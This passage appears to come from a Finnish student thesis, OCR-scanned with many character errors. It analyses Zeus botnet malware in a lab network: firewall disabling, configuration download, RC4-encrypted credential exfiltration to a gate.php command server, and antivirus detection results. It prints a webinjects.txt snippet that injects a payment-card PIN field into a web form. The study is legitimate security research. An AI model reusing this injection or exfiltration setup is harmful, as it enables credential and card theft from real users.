@ Tall3 tiedostalla ei ole sen julkaisijan vahvistavaa kelvollista digitaalista
Sunritetkavan ohjelmiston valikseminen

Kuva 19. Selaimen varoitus haittaohjelmaa suoritettaessa.

5.2 Asiakaskoneen ja hallintapalvelimen valinen kommunikointi

Kayttajan valitessa ohjelman suoritettavaksi, haittaohjelma toteuttaa seuraavat toimen-

piteet:

1. Valittdmasti suorituksen jalkeen haittaohjelma sulkee Windowsin palomuurin, josta
kayttojarjestelmé antaa kuvassa 20 nakyvan varoituksen. Muita ndkyvid merkkeja hait-

taohjelmatartunnasta kayttajalle ei tule.

@ Tietokoneen tietoturva saattaa olla uhattuna

' Palomuuria ei ole oketbu kayikaan
* Wirustentorjuntachjelmistoa ei ehka ole asennettu

korjaa ongelma napsauttamalla £3kE iimaituska,

Kuva 20. Windows palomuuri poistettu kaytdsta.

2. Seuraavaksi haittaohjelma lahettdd asiakaskoneen verkkoon M-SEARCH -kyselyja
I6ytaédkseen UPnP-protokollalla toimivia laitteita samasta verkosta missd asiakaskone
toimii. Kyselyt lahetetaan ryhmaéaléhetyksena (multicast) osoitteeseen 239.255.255.250,
UDP-porttiin 1900. Verkossa toimivia UpnP-laitteita ovat mm. reitittimet, joiden valityk-
sella asiakaskone muodostaa verkkoyhteyden. Naiden tietojen avulla haittaohjelma voi
paatelld, mikali asiakaskone kayttdd NAT-palvelua yhteyden muodostamiseksi tai yhte-

ys muodostuu suoraan julkisella ip-osoitteella. [13; 15.]
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3. Haittaohjelma lahettaa HTTP GET /cfg.bin -komennon hakeakseen hallintapalveli-
melta uusimman konfiguraatiotiedoston. Kuvassa 21 on Wireshark-sovelluksella kaa-

pattuna tama lilkkenne.

Source Destination Protocol  Length  Info
192.168.11.16 192.168.11.5 HTTP 222 GET /xampp/1/cfg.bin HTTP/1.1
192.168.11.5 192.168.11.16 TCP 60 http > cognex-insight [ACK] Seq=1 Ack=169 win=15544 Len=0

< | [

[ Frame 195: 222 bytes on wire (1776 bits), 222 bytes captured (1776 bits) on interface 0

# Ethernet II, Src: CadmusCo_73:70:3d (08:00:27:73:70:3d), Dst: AskeyCom_02:8e:03 (00:24:d2:02:8e:03)

= Internet Protocol Version 4, src: 192.168.11.16 (192.168.11.16), Dst: 192.168.11.5 (192.168.11.5)

# Transmission control Protocol, src Port: cognex-insight (1069), Dst port: http (80), seq: 1, aAck: 1, Len: 168
= Hypertext Transfer Protocol

0030 ff ff 52 cl1 00 00 47 45 54 20 2f 78 61 6d 70 70 ..R...GE T /xampp
0040 2f 31 2f 63 66 67 2e 62 69 6e 20 48 54 54 50 2 J/1/cfg.b in HTTR/
0050 31 2e 31 O0d 0Oa 41 63 63 65 70 74 3a 20 2a 2f 2a 1.1..Acc ept: ®/%
0060 0d Oa 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d &f ..User-aA gent: Mo
0070 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 zilla/4. O (compa
0080 74 69 62 6Cc 65 3b 20 4d 53 49 45 20 37 2e 30 3b tible; M SIE 7.0;
0090 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b Windows NT 5.1;
00a0 20 54 72 69 64 65 6e 74 2f 34 2e 30 29 0Od 0a 48 Trident /4.0)..H
00b0 &f 73 74 3a 20 31 39 32 2e 31 36 38 2Ze 31 31 2e ost: 192 .168.11.
00cO 35 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6¢ 5..Cache -Control
00d0 3a 20 6e 6f 2d 63 61 63 68 65 0d Da 0d Oa : no-cac he....

Kuva 21. Konfiguraatiotiedoston hakupyyntd palvelimelle.

Hallintapalvelin lahettdd salatun cfg.bin-tiedoston ja kuittaa onnistuneen vastauksen

asiakaskoneen pyyntéon lahettamalla HTTP/1.1 200 OK -vastauksen (kuva 22).

Source Destination Protocel  Length  Info

192.168.11.5 192.168.11.16 414 HTTP/1.1 200 oK (application/octet-stream)
192.168.11.16 192.168.11.5 TCP 54 cognex-insight > http [ACK] Seq=169 Ack=35401 Win=63315 Len=0
4 | 1

=l Hypertext Transfer Protocol
[ HTTP/1.1 200 OK\r\n
= [Expert Info (Chat/sequence): HTTP/1.1 200 ok\r'n]
[Message: HTTP/1.1 200 okir'n]
[Severity level: Chat]
[Group: sequence]
Request Version: HTTP/1.1
Status Code: 200
Response Phrase: OK
pate: Mon, 25 Nov 2013 15:51:47 aMTA\r'n
Server: Apache/2.4.4 (Unix) OpenssL/1.0.1le PHP/5.4.19 mod_per1/2.0.8-dev Perl/v5.16.3\r\n
Last-mModified: mon, 23 sSep 2013 16:17:09 GMT\rn
ETag: "891a-4e70f5al19ab40"r'n
Accept-rRanges: bytes'rin
[ Content-Length: 35098\rn
content-Type: application/octet-stream'rin
\rin
[HTTP response 1,/1]
[Time since request: 0.027401000 seconds]
[Request in frame: 1957

Kuva 22. Hallintapalvelin lahettaa salatun konfiguraatiotiedoston.

4. Asiakaskone vastaanottaa salatun konfiguraatiotiedoston ja purkaa salauksen kayt-

tamalla haittaohjelmaan sisallytettya salausavainta.
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5. Haittaohjelma seuraa ja tallentaa tietoja asiakaskoneelta seké oletuksena maarite-
tyistéd sijainneista ettd erikseen webinjects.txt-tiedostossa maaritettyjen seurattavien

internet-sivujen mukaan.

6. Lahettdessaan tallentamansa tiedot asiakaskone suorittaa HTTP POST /gate.php -
komennon, jolla keratyt ja tallennetut tiedot lahetetddn salattuna hallintapalvelimelle.

Kuvassa 23 on kaapattuna kyseinen liikenne.

Source Destination Protocol  Length  Info ) )
192.168.11.16 192.168.11.5 HTTP 518 POST /xampp/1/gate.php HTTP/1.1
192.168.11.5 192.168.11.16 TCP 60 http > imgames [ACK] Seq=l Ack=465 Win=15544 Len=0

'l [ m

- Hypertext Transfer Protocol
= POST /xampp/1l/gate.php HTTP/1.1%\r\n
= [Expert Info (Chat/Sequence): POST /xampp/1/gate.php HTTP/1.1%r%n]
[Message: POST /xampp/l/gate.php HTTP/1.1%rn]
[severity level: chat]
[Group: Sequence]
Request Method: POST
Request URI: /xampp/l/gate.php
Request Version: HTTP/1.1
Accept: */*\r\n
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 5.1; Trident/4.0)\r\n
Host: 192.168.11.5\r\n
# Content-Length: 249\r'\n
Connection: Keep-Alive\r\n
cache-Control: no-cache'r'n
e
[Full request URI: http://192.168.11.5/xampp/1/gate. php]
[HTTP reguest 1,/1]
[Response in frame: 3727
# Data (249 bytes)

Kuva 23. Tietojen l&ahettdaminen salattuna hallintapalvelimelle.

Tiedot salataan RC4-salauksella asiakaskoneen ja palvelimen vdlilla. Mikali sa-
lausavain on tiedossa, voi lahetyt tiedot purkaa esimerkiksi internetista l16ytyvan tyoka-
lun tai erillisen sovelluksen avulla. Yksi tallainen tytkalu I6ytyy http://rc4.online-domain-
tools.com/ -osoitteesta, jota on kaytetty alla olevan salatun viestin purkamisessa. Tyo-
kalun avulla kaapatun paketin dataosasta saadaan purettua selkokielisena hallintapal-
velimelle lahetettavat tiedot. Kuvassa 24 on purettuna hallintapalvelimelle lahetetty
RC4-paketti dataosaltaan, jossa Twitter palveluun kirjautuminen on lahetetty hallinta-
palvelimelle. Keys-osassa on valitetty kayttajanimi ja salasana selkokielisena. Paketin
mukana lahetetdaan aina myds tietokoneen nimitieto, kuvassa BOT2, ja myds tietoko-

neelle kirjautunut kayttaja, kuvassa Bot2_user.



37

. - . . - . & - . . & . . .

h t t P = : ! ! t w i t t e r -
c o m /! = e = = i o n = . E e f
e r e r : h t t e s : /! / t w
1 t t e r - c o m / - E e v = :
A . . D a t a : . . = e = =
i o n % S B u = e r n a m e _ o
r _ e m 1 1 % 3 D = L]
T = e s = i o n % 5 B o
a 3 = w o x d % =} D =
I — . r = m = m b = r _ m =
= 1 . r =] t u r n _ t la] _ = = 1
= t r u e . = c r i b e _ 1 o g
= . r e d i r e c t _ a f t e r
B 1 o g i n = % 2 F . a u t h e
n t 1 c 1 t v _ t o k e n = d a
2 0 T 4 & d & a = f 2 & ) 8 0 ]
2 ] a8 d 4 d g d ) = 2 7 4 d d d
3 3 2] 8 a e . ! . . . . . . . .
. . . . . . h t t e : /! t w
1 t t e r . c o / e = = i o
n =

Kuva 24. Datan salaus purettuna.

Hallintapalvelimella oleva gate.php-tiedosto vastaa salauksen purkamisesta seka tieto-
jen tallentamisesta MySQL-tietokantaan. Kuvassa 25 ovat vastaavat tiedot hallintapal-

velimen tietokannasta tarkasteltuna.



Bot ID: bot2_00026448

Botnet: — default —

Wemsion: 127.19

0% Vemsion: XP Professional SP 3, build 2600
0S5 Language: 1035

Local time: 25.11.2013 18:14:56

GHT: +2:00

Session time: 00:31:35

Report time: 25.11.2013 16:14:13

Country: -

1Pwd: 192.168.11.16

Comments for bot: -

In the list of used: Na

Process name: CAProgram Files\internet Explorefiexplore.exe
User of process: BOT2\Bot2_user

Source: https:/itwitter.comisessions

https://twitter.com/sessions
Referer: https://twitter.com/
Keys:

Data:

session%SBusername_or_emal 1%SD-S,

sessi1on%SBpasswo rdsSo-IEGEGR

remember _me=1

return_to_ssl=true

scribe log=

redirect_after login=S2F

authenticity token=daz0746d6aetf269800258d4d8d9e274ddd3368ae

Kuva 25. Vastaanotetut tiedot hallintapalvelimella.
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6. Mikali asiakaskoneella avataan internet-sivu, joka on maaritetty webinject.txt-

konfiguraatiotiedostossa, kayttajalle naytetddn bot-verkon yllapitdjan maarittdmat lisa-

tiedot sivulla. Tallaisia voivat olla mm. erilaiset ylimaaraiset kentat joissa kayttajalta

kysytaan tietoja, esim. henkildéturvatunnusta, pankki- tai luottokortin numeroa tai sen

pin-tunnusta.

Seuraavassa on kaytdnnossa testattu webinject.txt-tiedoston hyédyntamista. Kuvassa

26 on perussivu mika nakyy kayttajille, joilla ei ole bot-verkon yllapitdjan maarittamaa

haittaohjelmaa tietokoneellaan.
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e http://192.168.11.5/xampp/webinject/

Anna luottokortin tiedot

Kortin haltijan nimi: | |

Luottokortin numero: | |

Kuva 26. Sivusto kayttajalle jolla ei ole haittaohjelmaa asennettuna.

Webinject.txt-tiedostoon maaéritin esimerkkikoodi 3 listauksessa olevan muutoksen,
jossa Kali Linux-testiympariston Apache-webpalvelimella olevaa sivustoa muutetaan

haittaohjelman saaneille koneille.

et _url http://192.168.11.5/xanpp/webinject/index.html* GP

data_before

<input type="text" name="numero"=</td=</tr=

data_end

data_inject

<pz<tr><td>Maksukortin pin-koodi</td><td><input type="text" name="pin_koodi"z</td></tr></b>
data_end

data_after

data end

Esimerkkikoodi 3. Webinject.txt tiedoston muokkaaminen.

Testasin muutosta BOT2-asiakaskoneella. Kun konfiguraatiotiedostoa oli muutettu,
seurasin Wireshark-sovelluksella kunnes BOTZ2-asiakaskone haki uuden cfg.bin-

tiedoston ja avasin asiakaskoneen selaimella testisivun, jonka tulos nékyy kuvassa 27.



40

= hitp:ff192.168.11. 5fxamppfwebinjectfindex. himl - Windows Internet Explorer

Y 69 192.168.11.5 v k44| x| |Oa
S

Tiedosto  Muokkaa MEytd  Suosikic  Twdkaluk  Ohje
o Sucsikt | 5t 1o ~ @ | Imainen Hotmail-tli & | <

@http:,l’,l‘lgz.lﬁﬂ.l1.S,I'xampp,l'webinject,l'index.html ﬁ . (=

Anna luottokortin tiedot

Kortin haltijan nimi: | |

Luottokortin mumero: | |

Maksukortin pin-kood | |

Kuva 27. Asiakaskoneelle nékyva sivusto.

Kuten kuvasta nakyy, selain lisasi kayttajalle maaritteleméani ylimaaraisen kentan jossa
kysytddn maksukortin pin-koodia. Esimerkkikoodi 4 listauksessa nakyy muokatun si-
vuston lahdekoodi asiakaskoneelta tarkasteltuna.

<html>
<body>

<form action="" method="post">

<tableX

<tr><braAnna luottokortin tiedot</b></tr>

<trx<td>Fortin haltijan nimi: </td><td><input type="text"
name="nimi"></odx</tr>

<trrx<td>xLuottokortin numero: </td><td><input tyvpe="text"”

<trx<tdx><input type="submit" value="Maksa"></td><,/LCr>
</table>

</ form>
</ body>
</html >

Esimerkkikoodi 4. Muokatun sivuston lahdekoodi asiakaskoneella
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Webinject.txt-tiedostoon voi maaritelld asiakaskoneille lisattavaksi myds javascript-
koodia, jolla asiakaskoneille voi rakentaa monimutkaisempiakin sovelluksia kayttajien

tietojen kaappaamiseksi.

5.3 Virustarkistuksen ajaminen asiakaskoneessa tartunnan jalkeen

Testaamissani asiakaskoneissa oli asennettuna Windows XP Service Pack 3-
kayttojarjestelméa uusimmilla paivityksilla seka koneissa oli Windowsin oma palomuuri
kaytossa. Asiakaskoneissa ei ollut erillisté virustorjuntasovellusta asennettuna. Testa-
sin tartuttamisen jédlkeen asiakaskoneita internetistd saatavilla olevilla online-

virustarkistussovelluksilla.

Ensimmaisena testasin F-Securen online-tarkistusta, joka on saatavilla osoitteessa
http://www.f-secure.com/filweb/home_fi/online-scanner. Kuvassa 28 on tarkistuksen
tulos BOT2 -asiakaskoneelta eli F-Securen online-tarkistus ei I10yda tartuntaa, kun tar-

tunta on jo ehtinyt tapahtua.
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F-Secureg Online Scanner Q

Tarkistus valmis

) Tarkistuksessa ei lBytynyt haitalisia soveluksia.

q ASENNA MAAILMAN PARAS SUOJAUS
£ KONEELLES! ILMAISEKSI!

Protecting the Irreplaceable

Kuva 28. F-Secure Online Scanner tartunnan jalkeen.

Toinen testaamani palvelu oli Bitdefenderin online-tarkistus, joka on saatavilla osoit-
teessa http://www.bitdefender.com/scanner/online/free.html. Kuvassa 29 on tarkistuk-
sen tulos eli Bitdefender-palvelu I6ysi BOT2-asiakaskoneessa ajettuna siihen asenne-

tun haittaohjelman.
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{2 Fast & Free Online Virus Scanner - Bitdefender Quickscan - Windows Internet Explorer

© bitdefender.com v B 4| x| Qs I (|2~
Tiedosto  Muokkaa Maytd Suosikit  Tydkalut  Ohje
¢ Suosikit | 55 B ~ £ Imainen Hotmail-tili £ | -

2 —- . . " N »
@Fast & Free Online Yirus Scanner - Bitdefender Quicks... "} B | = v Sivuv Suojaus v Tydkalut v @~

. Your system is infected with Gen: Trojan.Heur.Zbot FmZ@cC3fQ S8
‘Clean your computer with The New Bitdefender Internet Security!

‘ Free download |

automatically start install after download

& Internet /v ®00% v

Kuva 29. Bitdefender online-tarkastus.

Kaspersky-yhtion online-virustarkistus vaatii erillisen sovelluksen asentamisen tietoko-
neelle. Kaspersky Security Scan on saatavilla osoitteessa
http://iwww.kaspersky.com/virus-scanner. Sovellus I18ysi haittaohjelman, kuten kuva 30
osoittaa.

Taman jalkeen ajoin vielda varmistuksena F-Securen online-tarkistuksen uudelleen ja

tulos oli sama: tarkistus ei l[6ytanyt haittaohjelmaa.
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Your computer is at risk
THREATS Founp! TN

@ Malware (1)

Information about malware detected on the computer.

Trojan-Spy.Win3z Zbot.gen

sdrabd.exe

[ cWwINDOWS\systemaz

Kuva 30. Kaspersky Security Scan.

6 Yhteenveto

Bot-verkoista on kirjoitettu viime aikoina paljon mm. erilaisten verkkopankkihytkkays-
ten myo6tad ja monet niissa kaytetyista haittaohjelmista perustuu tassa tydssa esiteltyyn
Zeus-haittaohjelmaan. Tassad mielessa olinkin hieman yllattynyt, ettd pelkastdan bot-
verkkoihin liittyvaa kirjallisuutta ei tahtonut 16ytya, vaikka bot-verkkoja on ollut jo suh-
teellisen pitkaan toiminnassa. Kirjallinen materiaali rajoittui yleensa yleisiin tietoturvakir-
joihin, joissa bot-verkot mainittiin yhtend osana. Suurin osa léytdmastani teoriamateri-
aalista loytyi internetista ja oli tutkimus- ja oppilaitosten tutkimusmateriaalia seka tieto-
turvayhtididen suorittamia aiheen tutkimuksia. Internetista materiaalia 10ytyikin paljon
yleiskuvauksista aina todella teoreettisiin tutkimuksiin bot-verkkojen liikenteesta ja lii-

kenteen salauksessa kaytetyista algoritmeista.

Kaytadnnon ty0 ja testaus sujui suunnitelmien mukaan. Asennuksissa ei tullut vastaan
suurempia ongelmia. Mielenkiintoista oli seurata Wireshark-sovelluksen avulla asia-
kaskoneiden seka hallintapalvelimen valista liikennettd ja siella valitettyja tietoja. Tyota

tehdessa tulikin perehdyttya Wireshark-sovellukseen tarkemmin mm. tietoliikenteen
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suodatuksen osalta. Sopivilla suodattimilla asiakaskoneen ja hallintapalvelimen valisen
kommunikoinnin sai sujuvasti seurattua. Liséksi salatun tietoliikenteen purkaminen oli
uutta. Toki verrattuna todelliseen tietomurtotilanteeseen, minulla oli tiedossa sa-

lausavain, jonka avulla salatun datan sai purettua.

Tyon aikana tuli vastaan myds muutama yllatys. Ensimmainen oli se, miten helposti
ilman virustorjuntaa olevat tietokoneet on mahdollista tartuttaa haittaohjelmilla. Kaytta-
jan tulee olla todella tarkkana mita liitteita ja sovelluksia suorittaa. Yksi vaara sovelluk-
sen suorittaminen ja kaikki mita kayttaja tietokoneella tekee on mahdollista kaapata.
Haittaohjelman saastutettua koneen ei ole valia silla, muodostaako kayttaja salatulla
https protokollalla yhteyden eri palveluihin; tunnukset ja salasanat kaapataan jo ennen
salausta. Useasti kuulee sanottavan internetpalveluita kaytettdessa, ettd kunhan yhte-
ys on muodostettu https-protokollan avulla, on yhteys turvallinen ja kayttjan tiedot
turvassa. Talldin jaa usein mainitsematta se seikka, ettd kayttdjan on huolehdittava
siitd, ettei hdnen koneellaan ole jo asennettuna haittaohjelmaa, joka kaappaa tiedot

ennen salausta.

Ongelmaa ei tule helpottamaan se, etta Windows XP -kayttojarjestelmélla olevien tieto-
koneiden tuki paattyy 8.4.2014. Tama tarkoittaa sita, ettd Microsoft ei enda tarjoa tek-
nista tukea eika automaattisia ohjelmisto- ja tietoturvapdivityksia kyseisen paivan jal-
keen. Mikali kaytdssa on Windows XP ja Microsoftin oma maksuton virustorjuntasovel-
lus Microsoft Security Essentials, jaa kayttojarjestelma ja virustorjunta taysin vaille uu-
sia paivityksia kyseisen paivan jalkeen. Ei ole vaikea ennustaa, etté tietoturvaongelmia
tulee kevaan ja keséan aikana Windows XP -kayttojarjestelmééd edelleen kayttaville.
Onkin mielenkiintoista nahda, tuleeko tuki taysin paattymaan kyseiseen paivaan vai
tuleeko Microsoft ainakin joiltain osin pyortdm&an paatosta mikali XP tietokoneita on
edelleen laajalti kaytdssa ja niitd vastaan kehitetaan tuen paattymisen jalkeen nopeasti
ja tehokkaasti leviava haittaohjelma. Ja sekin lienee turvallista ennustaa, ettd nain tulee
tapahtumaan. Esimerkiksi Atean ja Marketvisionin suorittaman markkinakatsauksen
(julkaistu 4.11.2013) mukaan 40 prosenttia suomalaisyrityksista ja julkishallinnon orga-
nisaatiosta kayttdd edelleen Windows XP -kayttojarjestelmaa [16]. Netmarketshare
palvelun (http://www.netmarketshare.com) mukaan Windows XP -kayttojarjestelman
osuus koko maailmassa on laskemassa mutta on edelleen noin 31 prosenttia. Luku on

sailynyt ennallaan viimeiset kuukaudet. [17.]
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Toinen yllatys liittyy virustorjuntasovelluksiin ja ennen kaikkea F-Securen Online-
palveluun, joka ei I0ytanyt koneelta haittaohjelmaa sen sinne asennuttua. Bitdefender-
palvelun online-tarkastus taas I0ysi haittaohjelman, joten olisi mielenkiintoista tietéaa
miten nama palvelut eroavat toisistaan ja minkd vuoksi F-Securen palvelu ei l0yda tata
haittaohjelmaa. Kaspersky Security Scan-virustarkastus, joka myods loysi haittaohjel-
man, poikkesi edelld mainituista siind, ettd sovellus oli normaali asennettava sovellus.
Kun myods Kasperskyn sovellus l6ysi haittaohjelman, halusin vielda varmistua, etta F-
Securen palvelu ei I6yda haittaohjelmaa. Ajoin F-Securen online-tarkastuksen uudel-
leen ja tulos oli edelleen sama: palvelu ei léytanyt haittaohjelmaa ja ilmoitti tietokoneen

olevan puhdas.

Kaikkiaan tyon tekeminen teorian lukemisesta alkaen oli mielenkiintoista. Tyon alkaes-
sa miettiméni tavoitteet tulivat suurelta osin taytettyd ja olen tyytyvéainen lopputulok-
seen. Yksi kehityskohde tai tulevaisuuden testauskohde on javascriptilla toteutettavat
internet-sivujen muokkaukset webinject.txt-tiedostoon, mikd mahdollistaa monimutkai-
sempienkin toimintojen lisaéamisen muokattaville sivuille. Toinen mielenkiintoinen tar-
kemman tarkastelun kohde liittyy edelld mainittuihin virustarkastussovelluksiin ja ennen
kaikkea F-Securen palveluun, joka ei tata haittaohjelmaa l16yda. Kyseessa on kuitenkin

yleinen ja pitkaan tiedossa ollut haittaohjelma, joten miksi F-Secure ei sita l16yda.

Tietoturvaa koskevat ongelmat ja kysymykset eivét tule lahitulevaisuudessakaan lop-
pumaan, joten aihe tulee pysyméaan ajankohtaisena vield jatkossakin. Nykyaan tietotur-
vassa keskitytddn monesti tietoverkon ja siella olevien palveluiden tietoturvaan, kun
monesti ongelma tapahtuu jo kayttajan paatelaitteella, joka nykyaan voi olla mika ta-
hansa matkapuhelimesta perinteiseen tietokoneeseen. Kuluttajalle turvalliselta naytta-
va yhteys palveluntarjoajaan voi olla menetetty jo kayttajan paatelaitteessa. Laitteiden
laaja kirjo eri kayttojarjestelmineen tuo haasteita tulevaisuudessa niin kayttajille kuin

tietoturvapalveluita tarjoaville yrityksille.
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